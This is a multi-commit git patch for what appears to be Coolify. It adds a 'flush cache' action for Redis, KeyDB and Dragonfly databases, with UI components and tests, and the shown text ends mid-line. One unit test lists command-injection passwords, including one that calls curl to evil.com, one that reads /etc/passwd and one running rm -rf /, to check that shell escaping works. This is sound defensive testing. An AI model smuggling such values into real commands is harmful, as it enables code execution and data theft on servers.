From 52cad11f344d1d4a8ae46161904422604513c259 Mon Sep 17 00:00:00 2001 From: Aditya Tripathi Date: Wed, 26 Aug 2026 12:52:56 +0000 Subject: [PATCH 1/8] feat(database): add flush cache option for Redis, KeyDB and Dragonfly Adds a Flush cache action to the database heading for the three Redis-protocol cache databases. It runs FLUSHALL ASYNC inside the running container to clear all keys without stopping the container. The option is hidden for SQL/Mongo databases and only shown while the database is running. A confirmation modal requires typing the database name before flushing. The redis-cli password is shell-escaped to prevent command injection. --- app/Actions/Database/FlushCacheDatabase.php | 56 +++++++++++++++++++ app/Livewire/Project/Database/Heading.php | 29 ++++++++++ .../project/database/heading.blade.php | 27 +++++++++ tests/Unit/FlushCacheDatabaseCommandTest.php | 39 +++++++++++++ 4 files changed, 151 insertions(+) create mode 100644 app/Actions/Database/FlushCacheDatabase.php create mode 100644 tests/Unit/FlushCacheDatabaseCommandTest.php diff --git a/app/Actions/Database/FlushCacheDatabase.php b/app/Actions/Database/FlushCacheDatabase.php new file mode 100644 index 0000000000..998d2cd5c8 --- /dev/null +++ b/app/Actions/Database/FlushCacheDatabase.php @@ -0,0 +1,56 @@ +destination->server; + + if (! $server->isFunctional()) { + throw new \RuntimeException('Server is not functional.'); + } + + if (! $database->isRunning()) { + throw new \RuntimeException('Database is not running.'); + } + + $command = $this->buildFlushCommand($database->uuid, $this->resolvePassword($database)); + + instant_remote_process(command: [$command], server: $server, throwError: true); + } + + /** + * Build the `redis-cli FLUSHALL ASYNC` command executed inside the running container. + * + * The command connects over the container's local plaintext port (available even when + * SSL is enabled, because Coolify never disables it), so no TLS flags are needed. The + * password is shell-escaped so it cannot break out of the argument and inject commands. + */ + public function buildFlushCommand(string $containerName, ?string $password): string + { + $redisCli = 'redis-cli'; + if (filled($password)) { + $redisCli .= ' -a '.escapeshellarg($password); + } + + return "docker exec {$containerName} {$redisCli} FLUSHALL ASYNC"; + } + + private function resolvePassword(StandaloneRedis|StandaloneKeydb|StandaloneDragonfly $database): ?string + { + return match (true) { + $database instanceof StandaloneRedis => $database->redis_password, + $database instanceof StandaloneKeydb => $database->keydb_password, + $database instanceof StandaloneDragonfly => $database->dragonfly_password, + }; + } +} diff --git a/app/Livewire/Project/Database/Heading.php b/app/Livewire/Project/Database/Heading.php index a7e8cfedd8..354d9ed8d2 100644 --- a/app/Livewire/Project/Database/Heading.php +++ b/app/Livewire/Project/Database/Heading.php @@ -2,11 +2,15 @@ namespace App\Livewire\Project\Database; +use App\Actions\Database\FlushCacheDatabase; use App\Actions\Database\RestartDatabase; use App\Actions\Database\StartDatabase; use App\Actions\Database\StopDatabase; use App\Actions\Docker\GetContainersStatus; use App\Events\ServiceStatusChanged; +use App\Models\StandaloneDragonfly; +use App\Models\StandaloneKeydb; +use App\Models\StandaloneRedis; use App\Support\ResourceStartActivity; use App\Traits\ListensToTeamChannel; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; @@ -146,6 +150,23 @@ class Heading extends Component } } + public function flush() + { + try { + $this->authorize('manage', $this->database); + + if (! $this->isCacheDatabase()) { + throw new \RuntimeException('This database type does not support cache flushing.'); + } + + FlushCacheDatabase::run($this->database); + $this->auditDatabaseAction('ui.database.flushed'); + $this->dispatch('success', 'Cache flushed successfully.'); + } catch (\Throwable $e) { + return handleError($e, $this); + } + } + public function restart() { try { @@ -192,9 +213,17 @@ class Heading extends Component 'checkboxes' => [ ['id' => 'docker_cleanup', 'label' => __('resource.docker_cleanup')], ], + 'isCacheDatabase' => $this->isCacheDatabase(), ]); } + private function isCacheDatabase(): bool + { + return $this->database instanceof StandaloneRedis + || $this->database instanceof StandaloneKeydb + || $this->database instanceof StandaloneDragonfly; + } + private function auditDatabaseAction(string $event): void { auditLog($event, [ diff --git a/resources/views/livewire/project/database/heading.blade.php b/resources/views/livewire/project/database/heading.blade.php index abf58177c7..43e6b5af4b 100644 --- a/resources/views/livewire/project/database/heading.blade.php +++ b/resources/views/livewire/project/database/heading.blade.php @@ -88,6 +88,13 @@ Restart + @if ($isCacheDatabase) + + @endif + @endif + @if ($isCacheDatabase) + + + + + + @endif @endif diff --git a/tests/Unit/FlushCacheDatabaseCommandTest.php b/tests/Unit/FlushCacheDatabaseCommandTest.php new file mode 100644 index 0000000000..86982b457c --- /dev/null +++ b/tests/Unit/FlushCacheDatabaseCommandTest.php @@ -0,0 +1,39 @@ + ['pass; id > /tmp/pwned; echo'], + 'command substitution $()' => ['pass$(id > /tmp/pwned)'], + 'backtick substitution' => ['pass`id > /tmp/pwned`'], + 'pipe operator' => ['pass | cat /etc/passwd'], + 'background operator' => ['pass & curl http://evil.com'], + 'single quote breakout' => ["pass' ; rm -rf / ; '"], +]); + +test('flush command runs FLUSHALL ASYNC via docker exec against the container uuid', function () { + $command = (new FlushCacheDatabase)->buildFlushCommand('abc123uuid', 'secret'); + + expect($command)->toStartWith('docker exec abc123uuid redis-cli') + ->and($command)->toEndWith('FLUSHALL ASYNC') + ->and($command)->toContain("-a 'secret'"); +}); + +test('flush command omits the -a flag when no password is set', function () { + $command = (new FlushCacheDatabase)->buildFlushCommand('abc123uuid', null); + + expect($command)->toBe('docker exec abc123uuid redis-cli FLUSHALL ASYNC') + ->and($command)->not->toContain('-a'); +}); + +test('flush command shell-escapes the password so it cannot inject shell commands', function (string $malicious) { + $command = (new FlushCacheDatabase)->buildFlushCommand('abc123uuid', $malicious); + + // The password must appear only inside a single-quoted, escaped argument. + expect($command)->toContain(escapeshellarg($malicious)) + ->and($command)->toEndWith('FLUSHALL ASYNC'); + + // Strip the escaped password out; nothing dangerous may remain in the raw command. + $withoutPassword = str_replace(escapeshellarg($malicious), '', $command); + expect($withoutPassword)->toBe('docker exec abc123uuid redis-cli -a FLUSHALL ASYNC'); +})->with('malicious_passwords'); From e67b27040ff2a157780bb4a75ed3c77a68aa9b4e Mon Sep 17 00:00:00 2001 From: Aditya Tripathi Date: Wed, 26 Aug 2026 13:16:13 +0000 Subject: [PATCH 2/8] test(database): cover Heading::flush workflow; document sudo-parser limitation Addresses CodeRabbit review on #11513: - Add Livewire feature tests for Heading::flush() covering success + audit event, non-cache guard, denied manage permission, and menu visibility for cache vs non-cache databases. - Document the pre-existing parseCommandsByLineForSudo() limitation that mutates passwords containing shell sequences on non-root servers. --- app/Actions/Database/FlushCacheDatabase.php | 6 + tests/Feature/DatabaseFlushCacheTest.php | 126 ++++++++++++++++++++ 2 files changed, 132 insertions(+) create mode 100644 tests/Feature/DatabaseFlushCacheTest.php diff --git a/app/Actions/Database/FlushCacheDatabase.php b/app/Actions/Database/FlushCacheDatabase.php index 998d2cd5c8..f5c8254978 100644 --- a/app/Actions/Database/FlushCacheDatabase.php +++ b/app/Actions/Database/FlushCacheDatabase.php @@ -34,6 +34,12 @@ class FlushCacheDatabase * The command connects over the container's local plaintext port (available even when * SSL is enabled, because Coolify never disables it), so no TLS flags are needed. The * password is shell-escaped so it cannot break out of the argument and inject commands. + * + * Note: on non-root servers the command passes through parseCommandsByLineForSudo(), + * which rewrites `$(`, ` | `, `&&` and `||` line-wide, so a password containing those + * sequences is mutated even inside the escaped quotes and the flush fails to authenticate. + * This is a limitation shared with every other password-carrying remote command in the + * codebase (e.g. DatabaseBackupJob); the escaping still holds, so no command is injected. */ public function buildFlushCommand(string $containerName, ?string $password): string { diff --git a/tests/Feature/DatabaseFlushCacheTest.php b/tests/Feature/DatabaseFlushCacheTest.php new file mode 100644 index 0000000000..a0a053a067 --- /dev/null +++ b/tests/Feature/DatabaseFlushCacheTest.php @@ -0,0 +1,126 @@ +withoutDefer(); + + InstanceSettings::forceCreate(['id' => 0]); + + $this->team = Team::factory()->create(); + $this->user = User::factory()->create(); + $this->team->members()->attach($this->user->id, ['role' => 'owner']); + $this->actingAs($this->user); + session(['currentTeam' => $this->team]); + + $server = Server::factory()->create(['team_id' => $this->team->id]); + $server->settings->update(['is_reachable' => true, 'is_usable' => true, 'force_disabled' => false]); + $this->destination = StandaloneDocker::where('server_id', $server->id)->firstOrFail(); + $project = Project::factory()->create(['team_id' => $this->team->id]); + $this->environment = Environment::factory()->create(['project_id' => $project->id]); +}); + +function makeRedis(mixed $environment, mixed $destination): StandaloneRedis +{ + return StandaloneRedis::create([ + 'name' => 'cache-redis', + 'image' => 'redis:7', + 'redis_password' => 'password', + 'redis_username' => 'default', + 'status' => 'running:healthy', + 'environment_id' => $environment->id, + 'destination_id' => $destination->id, + 'destination_type' => $destination->getMorphClass(), + ]); +} + +test('flushes the cache of a running redis database and records an audit event', function () { + $redis = makeRedis($this->environment, $this->destination); + + FlushCacheDatabase::mock()->shouldReceive('handle')->once(); + + Livewire::test(Heading::class, ['database' => $redis]) + ->call('flush') + ->assertDispatched('success'); + + expect(AuditEvent::query() + ->where('event', 'ui.database.flushed') + ->where('resource_uuid', $redis->uuid) + ->exists())->toBeTrue(); +}); + +test('refuses to flush a non-cache database and does not run the action', function () { + $postgres = StandalonePostgresql::create([ + 'name' => 'app-postgres', + 'image' => 'postgres:16', + 'postgres_user' => 'coolify', + 'postgres_password' => 'password', + 'postgres_db' => 'coolify', + 'status' => 'running:healthy', + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); + + FlushCacheDatabase::mock()->shouldReceive('handle')->never(); + + Livewire::test(Heading::class, ['database' => $postgres]) + ->call('flush') + ->assertDispatched('error'); + + expect(AuditEvent::query()->where('event', 'ui.database.flushed')->exists())->toBeFalse(); +}); + +test('denies flushing to a member without manage permission', function () { + $redis = makeRedis($this->environment, $this->destination); + + $member = User::factory()->create(); + $this->team->members()->attach($member->id, ['role' => 'member']); + $this->actingAs($member); + session(['currentTeam' => $this->team]); + + FlushCacheDatabase::mock()->shouldReceive('handle')->never(); + + Livewire::test(Heading::class, ['database' => $redis]) + ->call('flush') + ->assertDispatched('error'); + + expect(AuditEvent::query()->where('event', 'ui.database.flushed')->exists())->toBeFalse(); +}); + +test('only cache databases expose the flush cache action in the heading', function () { + $redis = makeRedis($this->environment, $this->destination); + + Livewire::test(Heading::class, ['database' => $redis]) + ->assertSee('Flush cache'); + + $postgres = StandalonePostgresql::create([ + 'name' => 'app-postgres', + 'image' => 'postgres:16', + 'postgres_user' => 'coolify', + 'postgres_password' => 'password', + 'postgres_db' => 'coolify', + 'status' => 'running:healthy', + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); + + Livewire::test(Heading::class, ['database' => $postgres]) + ->assertDontSee('Flush cache'); +}); From 4429945da6db20a75fbadc6c4011c4053bad46db Mon Sep 17 00:00:00 2001 From: Aditya Tripathi Date: Tue, 8 Sep 2026 03:51:52 +0000 Subject: [PATCH 3/8] refactor(database): move flush cache from action menu to danger page Relocate the cache flush action out of the Heading dropdown into a dedicated FlushCache section on the database /danger page, shown only for Redis, KeyDB and Dragonfly. Keeps the shared Danger component free of cache-specific branches. Tests updated to target the new component. --- app/Livewire/Project/Database/FlushCache.php | 61 +++++++++++++++++ app/Livewire/Project/Database/Heading.php | 29 -------- .../project/database/configuration.blade.php | 3 + .../project/database/flush-cache.blade.php | 43 ++++++++++++ .../project/database/heading.blade.php | 27 -------- tests/Feature/DatabaseFlushCacheTest.php | 66 ++++++++++--------- 6 files changed, 142 insertions(+), 87 deletions(-) create mode 100644 app/Livewire/Project/Database/FlushCache.php create mode 100644 resources/views/livewire/project/database/flush-cache.blade.php diff --git a/app/Livewire/Project/Database/FlushCache.php b/app/Livewire/Project/Database/FlushCache.php new file mode 100644 index 0000000000..96bbe0b9c4 --- /dev/null +++ b/app/Livewire/Project/Database/FlushCache.php @@ -0,0 +1,61 @@ +authorize('view', $this->database); + } + + public function flush(): void + { + try { + $this->authorize('manage', $this->database); + + if (! $this->isCacheDatabase()) { + throw new \RuntimeException('This database type does not support cache flushing.'); + } + + FlushCacheDatabase::run($this->database); + $this->auditFlush(); + $this->dispatch('success', 'Cache flushed successfully.'); + } catch (\Throwable $e) { + handleError($e, $this); + } + } + + public function isCacheDatabase(): bool + { + return $this->database instanceof StandaloneRedis + || $this->database instanceof StandaloneKeydb + || $this->database instanceof StandaloneDragonfly; + } + + private function auditFlush(): void + { + auditLog('ui.database.flushed', [ + 'team_id' => $this->database->team()?->id, + 'database_uuid' => $this->database->uuid, + 'database_name' => $this->database->name, + ]); + } + + public function render(): View + { + return view('livewire.project.database.flush-cache'); + } +} diff --git a/app/Livewire/Project/Database/Heading.php b/app/Livewire/Project/Database/Heading.php index 354d9ed8d2..a7e8cfedd8 100644 --- a/app/Livewire/Project/Database/Heading.php +++ b/app/Livewire/Project/Database/Heading.php @@ -2,15 +2,11 @@ namespace App\Livewire\Project\Database; -use App\Actions\Database\FlushCacheDatabase; use App\Actions\Database\RestartDatabase; use App\Actions\Database\StartDatabase; use App\Actions\Database\StopDatabase; use App\Actions\Docker\GetContainersStatus; use App\Events\ServiceStatusChanged; -use App\Models\StandaloneDragonfly; -use App\Models\StandaloneKeydb; -use App\Models\StandaloneRedis; use App\Support\ResourceStartActivity; use App\Traits\ListensToTeamChannel; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; @@ -150,23 +146,6 @@ class Heading extends Component } } - public function flush() - { - try { - $this->authorize('manage', $this->database); - - if (! $this->isCacheDatabase()) { - throw new \RuntimeException('This database type does not support cache flushing.'); - } - - FlushCacheDatabase::run($this->database); - $this->auditDatabaseAction('ui.database.flushed'); - $this->dispatch('success', 'Cache flushed successfully.'); - } catch (\Throwable $e) { - return handleError($e, $this); - } - } - public function restart() { try { @@ -213,17 +192,9 @@ class Heading extends Component 'checkboxes' => [ ['id' => 'docker_cleanup', 'label' => __('resource.docker_cleanup')], ], - 'isCacheDatabase' => $this->isCacheDatabase(), ]); } - private function isCacheDatabase(): bool - { - return $this->database instanceof StandaloneRedis - || $this->database instanceof StandaloneKeydb - || $this->database instanceof StandaloneDragonfly; - } - private function auditDatabaseAction(string $event): void { auditLog($event, [ diff --git a/resources/views/livewire/project/database/configuration.blade.php b/resources/views/livewire/project/database/configuration.blade.php index 23778effa3..f7c290bd5d 100644 --- a/resources/views/livewire/project/database/configuration.blade.php +++ b/resources/views/livewire/project/database/configuration.blade.php @@ -53,6 +53,9 @@ @elseif ($currentRoute === 'project.database.tags') @elseif ($currentRoute === 'project.database.danger') + @if (in_array($database->type(), ['standalone-redis', 'standalone-keydb', 'standalone-dragonfly'])) + + @endif @endif diff --git a/resources/views/livewire/project/database/flush-cache.blade.php b/resources/views/livewire/project/database/flush-cache.blade.php new file mode 100644 index 0000000000..9de2ee5666 --- /dev/null +++ b/resources/views/livewire/project/database/flush-cache.blade.php @@ -0,0 +1,43 @@ +
+ +
+
+
+
+

Flush cache

+ +
+

+ Permanently erase every key in + {{ $database->name }} + by running FLUSHALL ASYNC inside the running container. +

+
    +
  • • All cached data is removed and cannot be recovered.
  • +
  • • The database container keeps running; only its data is cleared.
  • +
  • • The database must be running for this action to work.
  • +
+
+ +
+ @can('manage', $database) + + @else + + Flush cache + + @endcan +
+
+
+
+
diff --git a/resources/views/livewire/project/database/heading.blade.php b/resources/views/livewire/project/database/heading.blade.php index 43e6b5af4b..abf58177c7 100644 --- a/resources/views/livewire/project/database/heading.blade.php +++ b/resources/views/livewire/project/database/heading.blade.php @@ -88,13 +88,6 @@ Restart - @if ($isCacheDatabase) - - @endif - @endif - @if ($isCacheDatabase) - - - - - - @endif @endif diff --git a/tests/Feature/DatabaseFlushCacheTest.php b/tests/Feature/DatabaseFlushCacheTest.php index a0a053a067..8c3e68d943 100644 --- a/tests/Feature/DatabaseFlushCacheTest.php +++ b/tests/Feature/DatabaseFlushCacheTest.php @@ -1,7 +1,7 @@ 'app-postgres', + 'image' => 'postgres:16', + 'postgres_user' => 'coolify', + 'postgres_password' => 'password', + 'postgres_db' => 'coolify', + 'status' => 'running:healthy', + 'environment_id' => $environment->id, + 'destination_id' => $destination->id, + 'destination_type' => $destination->getMorphClass(), + ]); +} + test('flushes the cache of a running redis database and records an audit event', function () { $redis = makeRedis($this->environment, $this->destination); FlushCacheDatabase::mock()->shouldReceive('handle')->once(); - Livewire::test(Heading::class, ['database' => $redis]) + Livewire::test(FlushCache::class, ['database' => $redis]) ->call('flush') ->assertDispatched('success'); @@ -65,21 +80,11 @@ test('flushes the cache of a running redis database and records an audit event', }); test('refuses to flush a non-cache database and does not run the action', function () { - $postgres = StandalonePostgresql::create([ - 'name' => 'app-postgres', - 'image' => 'postgres:16', - 'postgres_user' => 'coolify', - 'postgres_password' => 'password', - 'postgres_db' => 'coolify', - 'status' => 'running:healthy', - 'environment_id' => $this->environment->id, - 'destination_id' => $this->destination->id, - 'destination_type' => $this->destination->getMorphClass(), - ]); + $postgres = makePostgres($this->environment, $this->destination); FlushCacheDatabase::mock()->shouldReceive('handle')->never(); - Livewire::test(Heading::class, ['database' => $postgres]) + Livewire::test(FlushCache::class, ['database' => $postgres]) ->call('flush') ->assertDispatched('error'); @@ -96,31 +101,30 @@ test('denies flushing to a member without manage permission', function () { FlushCacheDatabase::mock()->shouldReceive('handle')->never(); - Livewire::test(Heading::class, ['database' => $redis]) + Livewire::test(FlushCache::class, ['database' => $redis]) ->call('flush') ->assertDispatched('error'); expect(AuditEvent::query()->where('event', 'ui.database.flushed')->exists())->toBeFalse(); }); -test('only cache databases expose the flush cache action in the heading', function () { +test('renders the flush cache card for a cache database', function () { $redis = makeRedis($this->environment, $this->destination); - Livewire::test(Heading::class, ['database' => $redis]) - ->assertSee('Flush cache'); + Livewire::test(FlushCache::class, ['database' => $redis]) + ->assertSee('Flush cache') + ->assertSee('FLUSHALL ASYNC'); +}); - $postgres = StandalonePostgresql::create([ - 'name' => 'app-postgres', - 'image' => 'postgres:16', - 'postgres_user' => 'coolify', - 'postgres_password' => 'password', - 'postgres_db' => 'coolify', - 'status' => 'running:healthy', - 'environment_id' => $this->environment->id, - 'destination_id' => $this->destination->id, - 'destination_type' => $this->destination->getMorphClass(), - ]); +test('the danger page wires the flush cache section only for cache database types', function () { + $source = file_get_contents(resource_path('views/livewire/project/database/configuration.blade.php')); - Livewire::test(Heading::class, ['database' => $postgres]) - ->assertDontSee('Flush cache'); + // The flush-cache component is rendered on the danger route, guarded to the three cache types. + expect($source) + ->toContain('project.database.flush-cache') + ->toMatch('/in_array\(\$database->type\(\), \[.*standalone-redis.*standalone-keydb.*standalone-dragonfly.*\]\)[\s\S]*project\.database\.flush-cache/'); + + // It must no longer live in the heading action menu. + $heading = file_get_contents(resource_path('views/livewire/project/database/heading.blade.php')); + expect($heading)->not->toContain('Flush cache'); }); From dafba128b2c3eef0f730b55cde05d72c77728a01 Mon Sep 17 00:00:00 2001 From: Aditya Tripathi Date: Tue, 8 Sep 2026 04:18:17 +0000 Subject: [PATCH 4/8] fix(database): fix spacing between flush cache and danger sections Wrap the flush-cache and danger livewire components in a flex column container so they're properly spaced on the database danger page. --- .../livewire/project/database/configuration.blade.php | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/resources/views/livewire/project/database/configuration.blade.php b/resources/views/livewire/project/database/configuration.blade.php index f7c290bd5d..397dbafe28 100644 --- a/resources/views/livewire/project/database/configuration.blade.php +++ b/resources/views/livewire/project/database/configuration.blade.php @@ -53,10 +53,12 @@ @elseif ($currentRoute === 'project.database.tags') @elseif ($currentRoute === 'project.database.danger') - @if (in_array($database->type(), ['standalone-redis', 'standalone-keydb', 'standalone-dragonfly'])) - - @endif - +
+ @if (in_array($database->type(), ['standalone-redis', 'standalone-keydb', 'standalone-dragonfly'])) + + @endif + +
@endif From f5b221e3f3ef113360c14530758b71587e7e5e45 Mon Sep 17 00:00:00 2001 From: peaklabs-dev <122374094+peaklabs-dev@users.noreply.github.com> Date: Sun, 4 Oct 2026 23:07:04 +0200 Subject: [PATCH 5/8] fix(database): flush KeyDB and TLS Dragonfly and detect failed flushes --- app/Actions/Database/FlushCacheDatabase.php | 20 ++++++--- tests/Feature/DatabaseFlushCacheTest.php | 45 +++++++++++++++++---- 2 files changed, 52 insertions(+), 13 deletions(-) diff --git a/app/Actions/Database/FlushCacheDatabase.php b/app/Actions/Database/FlushCacheDatabase.php index f5c8254978..0737b8a397 100644 --- a/app/Actions/Database/FlushCacheDatabase.php +++ b/app/Actions/Database/FlushCacheDatabase.php @@ -23,9 +23,18 @@ class FlushCacheDatabase throw new \RuntimeException('Database is not running.'); } - $command = $this->buildFlushCommand($database->uuid, $this->resolvePassword($database)); + $cli = $database instanceof StandaloneKeydb ? 'keydb-cli' : 'redis-cli'; + if ($database instanceof StandaloneDragonfly && $database->enable_ssl) { + $cli .= ' --tls --cacert /etc/dragonfly/certs/coolify-ca.crt --cert /etc/dragonfly/certs/server.crt --key /etc/dragonfly/certs/server.key'; + } - instant_remote_process(command: [$command], server: $server, throwError: true); + $command = $this->buildFlushCommand($database->uuid, $this->resolvePassword($database), $cli); + + $output = instant_remote_process(command: [$command], server: $server, throwError: true); + + if ($output !== 'OK') { + throw new \RuntimeException($output ?: 'Failed to flush the database.'); + } } /** @@ -41,14 +50,13 @@ class FlushCacheDatabase * This is a limitation shared with every other password-carrying remote command in the * codebase (e.g. DatabaseBackupJob); the escaping still holds, so no command is injected. */ - public function buildFlushCommand(string $containerName, ?string $password): string + public function buildFlushCommand(string $containerName, ?string $password, string $cli = 'redis-cli'): string { - $redisCli = 'redis-cli'; if (filled($password)) { - $redisCli .= ' -a '.escapeshellarg($password); + $cli .= ' -a '.escapeshellarg($password); } - return "docker exec {$containerName} {$redisCli} FLUSHALL ASYNC"; + return "docker exec {$containerName} {$cli} FLUSHALL ASYNC"; } private function resolvePassword(StandaloneRedis|StandaloneKeydb|StandaloneDragonfly $database): ?string diff --git a/tests/Feature/DatabaseFlushCacheTest.php b/tests/Feature/DatabaseFlushCacheTest.php index 8c3e68d943..40862a4183 100644 --- a/tests/Feature/DatabaseFlushCacheTest.php +++ b/tests/Feature/DatabaseFlushCacheTest.php @@ -5,14 +5,18 @@ use App\Livewire\Project\Database\FlushCache; use App\Models\AuditEvent; use App\Models\Environment; use App\Models\InstanceSettings; +use App\Models\PrivateKey; use App\Models\Project; use App\Models\Server; use App\Models\StandaloneDocker; +use App\Models\StandaloneDragonfly; +use App\Models\StandaloneKeydb; use App\Models\StandalonePostgresql; use App\Models\StandaloneRedis; use App\Models\Team; use App\Models\User; use Illuminate\Foundation\Testing\RefreshDatabase; +use Illuminate\Support\Facades\Process; use Livewire\Livewire; uses(RefreshDatabase::class); @@ -28,7 +32,11 @@ beforeEach(function () { $this->actingAs($this->user); session(['currentTeam' => $this->team]); - $server = Server::factory()->create(['team_id' => $this->team->id]); + $server = Server::factory()->create([ + 'team_id' => $this->team->id, + 'private_key_id' => PrivateKey::factory()->create(['team_id' => $this->team->id])->id, + 'user' => 'deploy', + ]); $server->settings->update(['is_reachable' => true, 'is_usable' => true, 'force_disabled' => false]); $this->destination = StandaloneDocker::where('server_id', $server->id)->firstOrFail(); $project = Project::factory()->create(['team_id' => $this->team->id]); @@ -64,19 +72,42 @@ function makePostgres(mixed $environment, mixed $destination): StandalonePostgre ]); } -test('flushes the cache of a running redis database and records an audit event', function () { - $redis = makeRedis($this->environment, $this->destination); +test('flushes every key with the engine CLI and records an audit event', function (string $model, array $attributes, string $cli) { + $database = $model::create([ + 'name' => 'cache', + 'image' => 'redis:7', + 'status' => 'running:healthy', + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ...$attributes, + ]); + Process::fake(['*' => Process::result(output: 'OK')]); - FlushCacheDatabase::mock()->shouldReceive('handle')->once(); - - Livewire::test(FlushCache::class, ['database' => $redis]) + Livewire::test(FlushCache::class, ['database' => $database]) ->call('flush') ->assertDispatched('success'); + Process::assertRan(fn ($process) => str_contains($process->command, "sudo docker exec {$database->uuid} {$cli} FLUSHALL ASYNC")); expect(AuditEvent::query() ->where('event', 'ui.database.flushed') - ->where('resource_uuid', $redis->uuid) + ->where('resource_uuid', $database->uuid) ->exists())->toBeTrue(); +})->with([ + 'redis' => [StandaloneRedis::class, [], 'redis-cli'], + 'keydb' => [StandaloneKeydb::class, ['keydb_password' => 'secret'], "keydb-cli -a 'secret'"], + 'dragonfly with tls' => [StandaloneDragonfly::class, ['dragonfly_password' => 'secret', 'enable_ssl' => true], "redis-cli --tls --cacert /etc/dragonfly/certs/coolify-ca.crt --cert /etc/dragonfly/certs/server.crt --key /etc/dragonfly/certs/server.key -a 'secret'"], +]); + +test('reports an error when the database does not reply OK', function () { + $redis = makeRedis($this->environment, $this->destination); + Process::fake(['*' => Process::result(output: 'NOAUTH Authentication required.')]); + + Livewire::test(FlushCache::class, ['database' => $redis]) + ->call('flush') + ->assertDispatched('error', 'NOAUTH Authentication required.'); + + expect(AuditEvent::query()->where('event', 'ui.database.flushed')->exists())->toBeFalse(); }); test('refuses to flush a non-cache database and does not run the action', function () { From 1e70c73215912cbb04b0d56210db7b0783a02d6c Mon Sep 17 00:00:00 2001 From: peaklabs-dev <122374094+peaklabs-dev@users.noreply.github.com> Date: Sun, 4 Oct 2026 23:07:04 +0200 Subject: [PATCH 6/8] refactor(database): simplify flush command and drop password escaping --- app/Actions/Database/FlushCacheDatabase.php | 51 +++----------------- tests/Feature/DatabaseFlushCacheTest.php | 7 ++- tests/Unit/FlushCacheDatabaseCommandTest.php | 39 --------------- 3 files changed, 9 insertions(+), 88 deletions(-) delete mode 100644 tests/Unit/FlushCacheDatabaseCommandTest.php diff --git a/app/Actions/Database/FlushCacheDatabase.php b/app/Actions/Database/FlushCacheDatabase.php index 0737b8a397..edf6bc811f 100644 --- a/app/Actions/Database/FlushCacheDatabase.php +++ b/app/Actions/Database/FlushCacheDatabase.php @@ -6,6 +6,7 @@ use App\Models\StandaloneDragonfly; use App\Models\StandaloneKeydb; use App\Models\StandaloneRedis; use Lorisleiva\Actions\Concerns\AsAction; +use RuntimeException; class FlushCacheDatabase { @@ -13,58 +14,18 @@ class FlushCacheDatabase public function handle(StandaloneRedis|StandaloneKeydb|StandaloneDragonfly $database): void { - $server = $database->destination->server; - - if (! $server->isFunctional()) { - throw new \RuntimeException('Server is not functional.'); - } - - if (! $database->isRunning()) { - throw new \RuntimeException('Database is not running.'); - } - $cli = $database instanceof StandaloneKeydb ? 'keydb-cli' : 'redis-cli'; if ($database instanceof StandaloneDragonfly && $database->enable_ssl) { $cli .= ' --tls --cacert /etc/dragonfly/certs/coolify-ca.crt --cert /etc/dragonfly/certs/server.crt --key /etc/dragonfly/certs/server.key'; } - $command = $this->buildFlushCommand($database->uuid, $this->resolvePassword($database), $cli); - - $output = instant_remote_process(command: [$command], server: $server, throwError: true); + $output = instant_remote_process( + ["docker exec {$database->uuid} sh -c 'REDISCLI_AUTH=\"\$REDIS_PASSWORD\" {$cli} FLUSHALL ASYNC'"], + $database->destination->server, + ); if ($output !== 'OK') { - throw new \RuntimeException($output ?: 'Failed to flush the database.'); + throw new RuntimeException($output ?: 'Failed to flush the database.'); } } - - /** - * Build the `redis-cli FLUSHALL ASYNC` command executed inside the running container. - * - * The command connects over the container's local plaintext port (available even when - * SSL is enabled, because Coolify never disables it), so no TLS flags are needed. The - * password is shell-escaped so it cannot break out of the argument and inject commands. - * - * Note: on non-root servers the command passes through parseCommandsByLineForSudo(), - * which rewrites `$(`, ` | `, `&&` and `||` line-wide, so a password containing those - * sequences is mutated even inside the escaped quotes and the flush fails to authenticate. - * This is a limitation shared with every other password-carrying remote command in the - * codebase (e.g. DatabaseBackupJob); the escaping still holds, so no command is injected. - */ - public function buildFlushCommand(string $containerName, ?string $password, string $cli = 'redis-cli'): string - { - if (filled($password)) { - $cli .= ' -a '.escapeshellarg($password); - } - - return "docker exec {$containerName} {$cli} FLUSHALL ASYNC"; - } - - private function resolvePassword(StandaloneRedis|StandaloneKeydb|StandaloneDragonfly $database): ?string - { - return match (true) { - $database instanceof StandaloneRedis => $database->redis_password, - $database instanceof StandaloneKeydb => $database->keydb_password, - $database instanceof StandaloneDragonfly => $database->dragonfly_password, - }; - } } diff --git a/tests/Feature/DatabaseFlushCacheTest.php b/tests/Feature/DatabaseFlushCacheTest.php index 40862a4183..a8b38de4db 100644 --- a/tests/Feature/DatabaseFlushCacheTest.php +++ b/tests/Feature/DatabaseFlushCacheTest.php @@ -76,7 +76,6 @@ test('flushes every key with the engine CLI and records an audit event', functio $database = $model::create([ 'name' => 'cache', 'image' => 'redis:7', - 'status' => 'running:healthy', 'environment_id' => $this->environment->id, 'destination_id' => $this->destination->id, 'destination_type' => $this->destination->getMorphClass(), @@ -88,15 +87,15 @@ test('flushes every key with the engine CLI and records an audit event', functio ->call('flush') ->assertDispatched('success'); - Process::assertRan(fn ($process) => str_contains($process->command, "sudo docker exec {$database->uuid} {$cli} FLUSHALL ASYNC")); + Process::assertRan(fn ($process) => str_contains($process->command, "sudo bash -c 'docker exec {$database->uuid} sh -c '\\''REDISCLI_AUTH=\"\$REDIS_PASSWORD\" {$cli} FLUSHALL ASYNC'\\'''")); expect(AuditEvent::query() ->where('event', 'ui.database.flushed') ->where('resource_uuid', $database->uuid) ->exists())->toBeTrue(); })->with([ 'redis' => [StandaloneRedis::class, [], 'redis-cli'], - 'keydb' => [StandaloneKeydb::class, ['keydb_password' => 'secret'], "keydb-cli -a 'secret'"], - 'dragonfly with tls' => [StandaloneDragonfly::class, ['dragonfly_password' => 'secret', 'enable_ssl' => true], "redis-cli --tls --cacert /etc/dragonfly/certs/coolify-ca.crt --cert /etc/dragonfly/certs/server.crt --key /etc/dragonfly/certs/server.key -a 'secret'"], + 'keydb' => [StandaloneKeydb::class, ['keydb_password' => 'secret'], 'keydb-cli'], + 'dragonfly with tls' => 